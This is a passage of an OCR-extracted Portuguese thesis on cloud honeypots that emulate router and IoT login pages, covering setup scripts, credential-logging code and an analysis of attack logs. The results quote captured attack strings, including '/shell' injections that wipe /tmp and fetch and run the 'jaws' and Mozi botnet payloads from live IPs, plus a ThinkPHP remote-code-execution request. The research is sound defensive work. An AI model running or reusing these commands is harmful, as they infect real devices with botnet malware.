os protocolos HT'TP e HT'TPS. A liberagao desses protocolos esta diretamente relacionada
com os dispositivos escolhidos, pois ha a necessidade de exibir a interface deles por meio de
uma URL para possibilitar a exposicao dos servigos web e o acesso por parte dos invasores.
Além disso, a depender das necessidades do experimento outros servigos poderiam ser

liberados, como o SSH e o Telnet. Complementar a isso, as demais opc¢oes relativas a

2 Disponivel em: https://github.com/cowrie/cowrie

Disponivel em: https://github.com/DinoTools/dionaca

4 Disponivel em: https://github.com /telekom-security /tpotce
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Figura 9 — Configuragoes de localizagdo da méquina virtual.
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Figura 10 — Configuracoes de recursos para a maquina virtual.
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rede foram definidas como padrao. Ao final dessas configuragoes, obteve-se maquinas com

custo médio de 15,87 ddlares por més.

Apo6s a inicializacao da maquina, sao gerados dois enderecos IPv4, sendo eles o IP

interno e o IP externo. O endereco IP interno possibilita que uma instancia se comunique

com outras instancias na mesma rede VPC (do acrénimo em inglés para Virtual Private

Cloud) e o enderego IP externo possibilita que a instancia se comunique com a Internet

ou com os recursos em outra rede VPC. E pelo endereco IP externo que os atacantes

acessam a interface web dos dispositivos simulados.



Capitulo 3. Desenvolvimento 28

3.4 Instalacao dos Recursos Necessarios

O acesso as instancias criadas ¢é realizado via SSH e pode ser feito a partir do
proprio console do GCP, o que facilita o gerenciamento das méquinas. Assim sendo, ao
acessa-las, pode-se fazer a atualizacao e instalacao dos recursos necessarios. Para facul-
tar esse processo inicial, criou-se um bash script para, de forma automatizada, deixar a

maquina pronta para uso sem demandar grande esforco. Tal script esta detalhado abaixo.

#!/bin/bash

sudo su

apt update

apt upgrade -y

apt install apache2 php libapache2-mod-php php-mysql zip -y
service apache2 restart

touch /var/www/html/data.txt

cd /var/www/html/

rm index.html

unzip /caminho/do/seu/arquivo.zip

Basicamente, além de atualizar os pacotes da maquina, os comandos supracitados

instalam os seguintes recursos:

Servidor web Apache 2;
e Linguagem PHP;
o Moddulos que permitem que o servidor web Apache execute codigo PHP;

» Extensao do PHP que fornece suporte para interagir com bancos de dados MySQL.

Para mais, o comando engloba o desempacotamento dos arquivos fonte da inter-
face web e a criacdo do arquivo data.txt, em que os dados inseridos pelos invasores na
interface serao gravados. Dessa forma, apds os comandos serem executados, ao acessar o
IP externo pelo navegador, o atacante tera acesso a tela de login. Atualmente, ao realizar
uma tentativa de login, o sistema retorna uma mensagem de usuario ou senha incorreta
com objetivo de instigar o invasor a realizar mais tentativas e enriquecer a quantidade de
dados obtidos.

3.5 Script para coleta e persisténcia de dados

Para obter as informacoes digitadas pelos invasores nos campos de usuario e senha

da interface web que sera emulada, foi necessario desenvolver fungoes em JavaScript para
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capturar os campos e envia-los para o PHP por meio do método POST. Apds receber
essas informacoes no script PHP, elas sao formatadas da seguinte maneira: username:
<informacao coletada no campo de usuario> ; password: <informagao coletada no campo
de senha>. Em seguida, o arquivo data.txt foi aberto, e a entrada, ja formatada em uma
nova linha, foi concatenada. Um exemplo da funcao JavaScript e do script PHP estao

representados, respectivamente, nas Figuras 11 e 12.

O resultado é um arquivo contendo, em cada linha, uma tentativa tinica de login.
Ressalta-se que o codigo JavaScript pode necessitar de pequenos ajustes para se adaptar
a cada interface. Tais ajustes se devem a forma como cada front-end trata os dados de

entrada do usuario.

Js log.js

Dlink > > ...
sendLoginData() {
f = document.getElementById("login_frm");

~ Username = f.web_login_name.value;
*~ Password f.web_login_pass.value;

jQuery.post(‘log.php’,
username: Username,
password: Password

document.addEventListener( 'DOMContentLoaded’, fu
document.getElementById( "loginIDbtn').addEventListener
sendLoginData();

k) :

n)_
I )

Figura 11 — Exemplo de codigo JavaScript para coletar informagcoes digitadas pelos inva-
sores

3.6 Emulacao de dispositivos loT

A etapa de emulacao de dispositivos IoT no presente trabalho envolveu a criagao
de interfaces de login de roteadores domésticos e sua implantacao na arquitetura criada.
Os front-ends foram obtidos a partir de dispositivos reais para garantir um maior grau de
fidelidade e fazer com que o invasor pense estar em um ambiente auténtico. Esse processo
consistiu em conectar os dispositivos no computador com um cabo de rede e acessar pelo
navegador de Internet o IP referente a tela de login. Assim, ao inspecionar a pagina HTML

foi possivel acessar o codigo fonte e fazer uma cépia local.
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= log.php
Dlink > DLINK DSL-2730R > ™ log.pt
if ($_SERVER[ 'REQUEST_METHOD'] === 'POST') {

$username = $_POST[ 'username’
$password = $ POST[ 'password’

i
13

$data "username:$username;password:$password\n”;

$file = fopen('/var/www/html/data.txt’, 'a');
furite($file, $data);
fclose($file);

echo "Dados enviados c
} else {
echo "Erro: Método incorreto.";

Figura 12 — Exemplo de cdédigo PHP para salvar informacoes digitadas pelos invasores
em arquivo no servidor

Com os cédigos obtidos, foi preciso realizar alteragoes pontuais para remover erros
e adaptar funcionalidades para o ambiente criado anteriormente. Entre as adaptacoes
realizadas, estdo as modificagoes nos codigos HTML e JavaScript para redirecionar as
entradas dos campos de usudario e senha para o script PHP, que persiste essas informacoes

no arquivo de texto previamente criado no servidor.

Para colocar a interface em producgao, gerou-se um arquivo de extensao .zip com
todos os elementos do front-end adaptado, juntamente com o script PHP para a mani-
pulagdo dos dados de entrada. O arquivo foi carregado para a maquina virtual através
da console do GCP e, a partir disso, foi descompactado na pasta htdocs, local utilizado
pelo servidor Apache para expor as paginas. Ao final deste processo, foi possivel exibir na

porta 80 a interface de login dos dispositivos através do IP criado para a instancia.
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4 Resultados

O proposito deste Capitulo é detalhar os resultados obtidos por meio da execu-
¢do de um experimento. Esse experimento utilizou Honeypots que emularam interfaces
de dispositivos 10T, dentre eles, quatro roteadores domésticos e dois sistemas de geren-
ciamento de rede em nuvem publica. Com isso, pdde-se demonstrar a funcionalidade da

infraestrutura proposta.

4.1 Experimento

Para testar a infraestrutura desenhada e implantada, realizou-se um experimento
com duracao de 15 dias, entre 13 de outubro de 2023 e 28 de outubro de 2023. Esse
experimento consistiu, principalmente, no desenvolvimento de interfaces graficas de login
e a disponibilizacao desses front-ends na Internet por intermédio de maquinas virtuais
criadas no GCP com IP’s ptblicos. Além disso, este experimento também tem como obje-
tivo realizar uma breve analise dos acessos em cada um dos sistemas implantados. Porém,

analises mais robustas dos resultados obtidos formarao escopo de trabalhos futuros.

Foram simuladas um total de seis interfaces web de diferentes dispositivos, sendo
quatro deles roteadores domésticos das marcas D-Link, Huawei, Mikrotik, TP-Link e 2
outras interfaces, sendo, uma do Pfsense, que é um firewall, e outra do Zabbix, que é um

software de codigo aberto para monitorar infraestrutura de tecnologia da informacao.

Tratando-se da infraestrutura para o experimento, foram criadas doze maquinas
virtuais na nuvem, duas para cada interface desenvolvida, seguindo o modelo descrito
previamente. Para que houvesse uma perspectiva dos ataques ou da tentativa deles por
regiao do planeta, foram escolhidos diferentes paises ao redor do mundo, logo, assim como
pode-se notar na Tabela 3 e na Figura 14, houve uma cobertura consideravelmente grande

em relacao ao espago geografico. Tais maquinas virtuais sao retratadas na Figura 13.

Interface | Localizacao - VM 1 | Localizagao - VM 2
Mikrotik Sao Paulo Tel Aviv
D-link Santiago Mumbai
Huawei Los Angeles Hong Kong
Tp-Link Norte da Virginia Tokyo
Pfsense Paris Singapura
Zabbix Frankfurt Sydney

Tabela 3 — Localizacao de cada Maquina Virtual
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= Google Cloud $¢ Honeypots ¥ ‘ Pesquise (/) recursos, documentos, produtos e muito mais Q Pesquisa ® i °
{e} Compute Engine Instancias da VM EACRIARINSTANCIA  &IMPORTARVM  CATUALIZAR SISAIBA MAIS
Maguinas virtuais ~ Instancias da VM

| B nstancias de VM = Filtro Insira 0 nome ou o valor da propriedade ) m

[El  Modelos de instancias O Status Nome 4 Zona Recomendagdes Em uso por IP interno IP externo Conectar

0O e diink-router-01 southamerica-west1-c 10.194.0.2 (nic0) 34.176.138.237 12 (nic0) SSH ~
B Nos delocatario individual — —
0O e dlink-router-02 asia-south1-c 10.160.0.2 (nic0) 34,93.100.215E (nic0) SSH ~
B imagensdeminuin 0O e huawei-router-01  us-west2-c 10.168.0.3 (nic0) 34,94,66.142 7 (nic0) SSH ~
R TPUs 0O e huawei-router02 asia-east2-c 10.170.0.2 (nic0) 34.96.142.253 2 (nic0) SSH ~
0O e mikrotik-router-01  southamerica-east1-c 10.158.0.4 (nic0) 34151.233.6112 (nic0) SSH ~
Descontos por compromi
O e mikrotik-router-02  me-west1-c 10.208.0.3 (nic0) 3416521173 (nic0) SSH ~
B Reservas 0O e pfsense-01 europe-west9-c 10.200.0.2 (nic0) 34.155.161.42 2 (nic0) SSH ~
& Migrate to Virtual Machin.. O e pfsense-02 asia-southeast1-c 10.148.0.2 (nic0) 34,87.181.110 (nic0) SSH ~
0O e tplink-router-01 us-eastd-c 10.150.0.3 (nic0) 34.86.242.187 1 (nic0) SSH ~
Storage S
O e tplink-router-02 asia-northeasti-c 10.146.03 (nic0) 34,84.71.121 & (nic0) SSH ~
¥ likdnkce 0O e zabbix-01 europe-west3-c 10.156.0.2 (nic0) 35.242.205.60 2 (nic0) SSH ~
O e Zabbix-02 australia-southeasti-c 10.152.03 (nic0) 35.244.92.1352 (nic0) SSH ~ :
& Notas de lancamento Uifasporpigine 0w  1-W2ém € D

Figura 13 — Instancias de Maquina Virtual no GCP para hospedar interfaces web.

Figura 14 — Localizagoes geograficas das instancias de maquinas virtuais criadas.

4.2 Extracao dos Logs

Para coletar informacgoes relevantes para este trabalho foram utilizados os logs
gerados pelo préprio servidor Apache, além dos dados persistidos no arquivo data.txt. A
extracao desses logs foi feita da seguinte maneira: primeiramente, o diretério padrao dos
logs Apache (/var/log/apache2/) foi acessado e um arquivo .zip, contendo todo o contetido
do diretoério, foi gerado. Em seguida, os dados compactados foram extraidos pelo proprio
console do GCP. Por padrao, os logs do Apache sao separados por data, logo, obteve-se

quinze arquivos, um para cada dia do experimento.

Na etapa de pré-processamento dos dados, os logs gerados durante os 15 dias de

experimento foram unificados em um tnico arquivo por intermédio de um script bash.
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Dessa forma, a andlise se torna mais acessivel e gera uma maior riqueza de detalhes e

métricas.

4.3 Analise dos Logs

Para auxiliar as etapas do estudo, utilizou-se um analisador de log da web de
coédigo aberto, nomeado GoAccess'. Essa ferramenta fornece diversas métricas de forma
visual e interativa a partir de um arquivo de log, o que o torna um grande facilitador
para uma melhor interpretacao dos resultados obtidos. Para compreender corretamente
os gréaficos e tabelas gerados pelo GoAccess precisa-se conhecer a definicdo de algumas

métricas usadas, como:

o Requisigoes: Solicitacoes HT'TP enviadas ao servidor Apache;

» Visitantes tnicos: Solicitagbes HTTP contendo o mesmo IP, a mesma data e o

mesmo agente de usuario;

o TX. Total: Representa o consumo total de largura de banda do conjunto de requi-

sicoes.

4.3.1 Requisicoes

Como resultado, obteve-se um total de 48719 requisi¢oes durante os 15 dias de
experimento, e uma média de 4060 requisi¢oes por interface emulada. No que se refere a
quantidade de visitantes tinicos, durante todo o periodo do experimento a média foi de

628 por interface. Os detalhes mais especificos podem ser observados na Tabela 5.

Nas Figuras 15 e 16, podemos observar a quantidade de requisi¢des com base no
sistema operacional utilizado e no IP do atacante, respectivamente. Destaca-se que um
tnico IP localizado no Canadé foi responsavel por mais de 10% do total de requisicoes.
Tratando-se de requisi¢oes por pals, entre os que tiveram maior incidéncia, estao: Estados
Unidos, Canada, Alemanha, China e Russia. Mais paises e as respectivas quantidades de

requisicoes estao detalhadas na Tabela 4.

Com a anélise dos logs gerados pelas interfaces (Figuras 17, 18, 19, 20, 21 e 22),
pode-se obter diversos indicios de tentativas de ataques, em que, em sua grande maioria, os
invasores buscavam acesso as paginas de administragao de servicos como PHP, MySQL e
WordPress. Ademais, algumas manifestacdes comumente utilizadas por bots, por exemplo,

requisi¢oes contendo a string, demonstrada na Figura 23, foram percebidas.

Alguns resultados da andalise mostraram diversas tentativas de exploracao de bugs

para execucao de codigo do ThinkPHP. Essa afirmativa é evidenciada pela presenca de

1 Disponfvel em: https://goaccess.io/
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Pais Quantidade de Requisigoes
Estados Unidos 14982
Canadé 8183
Alemanha 5226
China 3.664
Rissia 2291
Singapura 1663
Bélgica 1486
Reino Unido 1155

Tabela 4 — Quantidade de requisi¢oes por pais

requisicoes contendo strings, como demonstrado na Figura 24, em que segundo o Secu-

rityNews (2018) caracterizam esse tipo de ataque.

Uma boa métrica a ser observada é a quantidade de URLs nao encontradas e o
que elas representam. Esse tipo de parametro mostra o que os invasores pretendiam fazer

por meio do campo de URL da interface. Algumas das URLs inseridas foram:

« /.env : pode significar uma possivel tentativa de obter varidveis sensiveis de API,

REQUlSI(}{":IES - VISITANTES TX. TOTAL® DADOS%

1 1 454B
6§3.46 MiB
990.75 KiB

457 MiB f Windows

63.5 MB Unknown

19.5 MiB (1:

16.3 MiB

& MB

14MB Android

3406 KB 21 i0S

296 KB

Figura 15 — Quantidade de requisi¢oes por Sistema Operacional
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por exemplo;

» /boaform/admin/formLogin : esta ligada a exploragao de vulnerabilidades em rote-

adores de fibra optica;

o /web_shell cmd.gch : é utilizada em exploragdo de vulnerabilidades em modem.

Nesse caso especifico, a vulnerabilidade visada possui CVE com score 10 (CVE-
2014-2321);

# REQUISIGOES ~

VISITANTES #

6.97 MiB
4328 KiB

2.7 MiB

4 MiB (02 58

3.7 MiB (02 387

4 MiB (0

580.5 KiB

2.3 MiB

5 MiB

1023.7 KiB

1.1 MiB ((

5.7 MiB

4735

TX. TOTAL#=

PAIS =

(.Y Canada

E Germany
Germany
Belgium

CN L =]

[#.Y Canada

B united States
m Hong Kong

Germany

m Russian Federation

154.8 MiB

Figura 16 — Quantidade de requisi¢oes por IP

35.183.95.151
54.37.79.75
54.36.115.221
57.129.23.166
111.2.5.222
51.79.29.48
54.80.185.234
164.52.0.94
83977387
90.151.171.108

3663

Interface P Localizacao Qtd. de Requisicoes | Visitantes Unicos
D-Link | 34.176.138.237 Santiago, Chile 4658 557
D-Link 34.93.109.215 Mumbai, India 4515 666
Huawei 34.94.66.142 Los Angeles, EUA 4153 715
Huawei 34.96.142.253 Hong Kong, China 3508 674
Mikrotik | 34.151.233.61 Sao Paulo, Brasil 5730 613
Mikrotik | 34.165.21.173 Tel Aviv, Israel 3475 589
pfSense 34.155.161.42 Paris, Franca 3587 587
pfSense 34.87.181.110 Singapura 3749 668
Tp-Link | 34.86.242.187 | Norte da Virginia, EUA 3484 608
Tp-Link 34.84.71.121 Tokyo, Japao 3746 628
Zabbix 35.242.205.60 Frankfurt, Alemanha 4077 630
Zabbix 35.244.92.135 Sydney, Australia 4037 599

Tabela 5 — Informacdes sobre as instancias das interfaces



Capitulo 4. Resultados 36

o GhoOst\xad : faz referéncia a um Cavalo de Tréia para plataformas Windows.

Houve também numerosas tentativas de ataque XSS através da injecao das seguin-

tes entradas:

o« /?a=fetch&content=<php>die(@md5(HelloThinkCMF))< /php>;
o /shell?cd+ /tmp;rm+-rf4+*;wget+45.12.253.180 /jaws;sh+ /tmp/jaws;
o /shell?cd+ /tmp;rm+-rf+*;wget+heylitimysun.top /jaws;sh+ /tmp/jaws;

o /shell?7cd+/tmp;rm+ rf4+*;wget+80.91.223.136 /reallynightmare.sh;
chmod+777+*;sh+reallynightmare.sh?jaws;

o /shell?’cd+ /tmp;rm+-rf+*;wget+http://183.214.202.168:53056 / Mozi.a;
chmod+777+Mozi.a;/tmp/Mozi.a+jaws.

Outro ponto a se destacar foi o baixo interesse dos invasores em tentar acessar o
sistema pelos campos de usuario e senha. Nos resultados coletados do arquivo data.txt, o
qual continha os dados inseridos nos campos supracitados, apenas as interfaces do Zabbix
e Mikrotik tiveram registros. Em ambas interfaces, os invasores inseriram palavras-chave

como: admin, zabbix e mikrotik, além dos campos vazios.

No geral, houve um alto interesse por parte dos invasores em explorar as requisi-
¢oOes para o servidor através da URL, em sua maioria, foram tentativas de acessar paginas
de administracdo ou até mesmo realizar ataques XSS. Ademais, pode-se coletar diversos
ataques especificos para roteadores e dispositivos IoT, como a utilizagdo da familia de
malwares Mozi, que é uma botnet focada em dispositivos IoT, predominantemente rote-
adores, o que indica um ataque mais direcionado. Um exemplo de como essas tentativas
de ataque foram realizadas estd ilustrada na Figura 25. Por fim, a presenca de elementos
relacionados a mineracao de criptomoedas nas URLs ressalta a grande diversidade de

ataques e exploragoes testadas.
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A Inseguro  34.176.138.237

Welcome to Web Management

Username :

Password :
Validate :

M ’A x O B Refresh

Copyright © 2008-2010 D-Link Systems, Inc.

Figura 17 — Interface de login do roteador D-Link.

A Inseguro 349466142 B wx & 0

82 Hes145v5

HUAWEI
recoun:

Figura 18 — Interface de login do roteador Huawei.
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A\ Inseguro  34.151.233.61

& L
Mikrorik
RouterOS v6.47.8

You have connected to a router. Administrative access only. If this device is not in your possession, please contact your local network administrator.

WebFig Login:

Login: | Login ‘
Password:

O Am 4

Winbox ~ Telnet  Graphs License  Help

©® mikretik

Figura 19 — Interface de login do roteador Mikrotik

A Inseguro 3.

o sense Login to pfSense

SIGN IN

SIGN IN

Figura 20 — Interface de login do firewall pfSense.
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c A Inseguro  34.86.242.187

Tp-LIN K‘ AC750 Wirelt?ss Dual Band Gigabit Router

Model No. Archer C2

Figura 21 — Interface de login do roteador TP-Link.

(¢} A Inseguro 35242 205.60

ZABBIX

Username
! |

Password

v|Remember me for 30 days

Figura 22 — Interface de login do sistema Zabbix

# REQUI SIQEIES r VISITANTES # TET METODO $ PROTOCOLO %

MIN. 1 283B
5.44 MiB
2311 KiB

532 KiB [?XDEBUG_SESSION_START=phpstorm
6.3 KiB % MGLNDD_34.176.138.237_80\n
5.3 KiB (00.05 W1 6L03u0 101 Wx01

4.7 KiB (00.0 Yoc1 6030 1400 1icidion 01

Figura 23 — Exemplo de requisicao comumente utilizada por bots
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# METODO#% PROTOCOLOS DADOSS

MAX.

Jcgi-bin/system_mar.cgi?

findexAtthink\\app/invokefunclion&function=call_user_func_amay&vars[0]=md5&vars[1][}=ollnmE&hd

o1 600303001001

Figura 24 — Exemplo de exploragao de bugs para execucao de codigo do ThinkPHP

METODO%* PROTOCOLO#%

HTTPM.A 85.206.160.115:80

HTTP/1.1 Iserver-status

HTTP/1.0

HTTPM.A findexAithinklapp/invokefunclion&function=call_user_func_amray&vars[0]-md58vars[1][l=nanifGai
HTTPM.1 hosy.ni:443

27, wget hitp:/%s:%dMozi.m -0 = fimp/Mozi.m;chmod 777 fimp/Mozi.m;fimp/Mozi.m dlink mips’,$ HTTPA1.0

i\ 1, Vmethod\™ ining_subscribe’, "params "cpuminer/2 .5 1VTAn

Midv": 1, V'method\" ining.subscribel’, \"paral "MinerMames1_0. "EthereumStratum/1. 0.0V TAn
Mid\"=1 V'method\"\"eth_submitLogin\” \"worker\" \"igwrcvap\” \"paramst":[\"0x15816e79b981a97234be2 12608 17165350 0ebe

Mid\":1 Vjsonrpct"\"2 01" \"'meth od\"-Vlogin\" \"params\™:{\'login\":\"4 1 peL BbuJk2coVF 27 CsmWAT w3 2XfvjvJ6Rsz 1 BQdrgid X

Figura 25 — Exemplo de URL contendo botnet da familia de malwares Mozi
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5 Conclusao

Este trabalho teve como principal objetivo construir uma infraestrutura de Ho-
neypots em nuvem que fosse capaz de ser a base para diversos outros estudos e experi-
mentagoes na area de seguranca da informacao na Faculdade de Computacao da UFU.
Para tanto, foi necessario estudar as plataformas de nuvem puiblica e testa-las mediante

experimentos diversos.

Por meio dos resultados destes experimentos, foi possivel definir os requisitos fun-
damentais para construir essa infraestrutura de maquinas virtuais em nuvem. A arqui-
tetura criada estd preparada para suportar a quantidade de instancias desejadas com

processamento e quantidade de armazenamento adequados.

Um experimento foi realizado para medir o quao eficiente a infraestrutura era.
Esse, consistiu em emular a interface de login de 6 dispositivos sendo, em sua maioria,
roteadores. Para cada dispositivo, criou-se duas instancias de maquina virtual no Google
Cloud Plataform, que mostrou ser o provedor de nuvem piblica mais adequado diante

dos requisitos do estudo, em multiplos locais espalhados pelo mundo.

Como resultado, foi possivel observar diversos tipos de tentativas de ataques ocor-
rendo por meio de requisi¢oes passadas na URL da interface. Entre essas tentativas, varias
exploraram vulnerabilidades conhecidas e especificas do dispositivo como o uso da familia
de malwares Mozi, que é uma botnet voltada para roteadores e dispositivos IoT. Além

disso, diversos outros ataques de XSS foram coletados e analisados.

Diante de tudo o que foi discutido durante o presente trabalho, conclui-se que a
infraestrutura criada teve sua efetividade comprovada. Ademais, o uso do analisador de
logs GoAccess se mostrou muito eficiente para gerar insights e fornecer um aspecto visual
e interativo da grande quantidade de dados coletados. Outro ponto relevante foi o grau
de especificidade das exploragoes feitas pelos invasores, que demonstrou que os atacantes

reconheceram a interface como um dispositivo real.

Para os trabalhos futuros ha muitos objetos de estudo relevantes e que sao passiveis
de analise e aprofundamento. Dentre eles, o desenvolvimento e evolugao do back-end de
forma a tornar as emula¢Oes mais reais e interativas, a andlise minuciosa dos logs obtidos

durante o experimento, e a emulagao de outros dispositivos IoT como Honeypots.
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